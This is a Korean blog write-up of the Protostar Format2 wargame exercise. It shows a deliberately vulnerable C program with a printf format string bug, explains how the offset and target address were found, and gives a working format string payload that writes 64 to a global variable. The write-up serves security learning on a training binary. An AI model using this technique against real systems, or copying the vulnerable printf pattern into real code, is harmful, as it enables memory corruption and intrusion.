ii4gsp
Exploit Exercises [Protostar - Format2] 본문
시스템 해킹/Exploit Exercises - Protostar
Exploit Exercises [Protostar - Format2]
ii4gsp 2020. 1. 17. 18:38#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int target;
void vuln()
{
char buffer[512];
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
if(target == 64) {
printf("you have modified the target :)\n");
} else {
printf("target is %d :(\n", target);
}
}
int main(int argc, char **argv)
{
vuln();
}
target의 값을 64로 바꿔줘야한다.
AAAA와 %08x 4개를 입력값으로 주니 4번째에서 입력한 AAAA가 보인다.
objdump -t 명령으로 target의 주소를 알아냈다.
target의 주소는 0x080496e4 이다.
페이로드는 4byte + target주소 + %08x%08x%08x%32c%n
target의 주소에 64가 저장되어 "you have modified the targe :)"이란 문자가 출력될것 이다.
4 + 4 + 8 + 8 + 8 + 32 = 64
(python -c 'print "\x90" * 4 + "\xe4\x96\x04\x08" + "%08x%08x%08x%32c%n"';cat) | ./format2
'시스템 해킹 > Exploit Exercises - Protostar' 카테고리의 다른 글
Exploit Exercises [Protostar - Format4] (0) | 2020.01.17 |
---|---|
Exploit Exercises [Protostar - Format3] (0) | 2020.01.17 |
Exploit Exercises [Protostar - Format1] (0) | 2020.01.17 |
Exploit Exercises [Protostar - Format0] (0) | 2020.01.17 |
Exploit Exercises [Protostar - Stack7] (0) | 2020.01.17 |
Comments